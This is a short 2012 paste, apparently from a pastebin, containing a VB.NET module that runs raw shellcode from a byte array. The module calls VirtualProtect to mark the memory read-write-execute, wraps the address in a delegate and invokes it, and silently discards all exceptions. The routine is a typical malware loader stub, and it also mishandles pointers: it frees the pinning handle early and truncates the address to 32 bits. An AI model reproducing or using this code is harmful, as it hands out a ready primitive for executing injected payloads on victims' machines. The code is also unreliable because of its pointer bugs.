
Untitled
By: a guest on
Jul 4th, 2012 | syntax:
None | size: 1.05 KB | hits: 11 | expires: Never
Imports System.Runtime.InteropServices
Module ShellExec
<DllImport("kernel32.dll")> _
Private Function VirtualProtect(ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr, ByVal flNewProtect As UInt32, <Out()> ByRef lpflOldProtect As UInt32) As Boolean
End Function
Private Delegate Sub ShellCodeDelegate()
Public Sub ExecuteShellCode(ByVal pcode As Byte())
Try
Dim oldProtect As UInt32
VirtualProtect(VarPtr(pcode), New UIntPtr(CType(pcode.Length, UInt32)), &H40, oldProtect)
Dim execute As ShellCodeDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(VarPtr(pcode), GetType(ShellCodeDelegate)), ShellCodeDelegate)
execute.Invoke()
VirtualProtect(VarPtr(pcode), New UIntPtr(CType(pcode.Length, UInt32)), oldProtect, oldProtect)
Catch ex As Exception
End Try
End Sub
Private Function VarPtr(ByVal e As Object) As Integer
Dim GC As GCHandle = GCHandle.Alloc(e, GCHandleType.Pinned)
Dim GC2 As Integer = GC.AddrOfPinnedObject.ToInt32
GC.Free()
Return GC2
End Function
End Module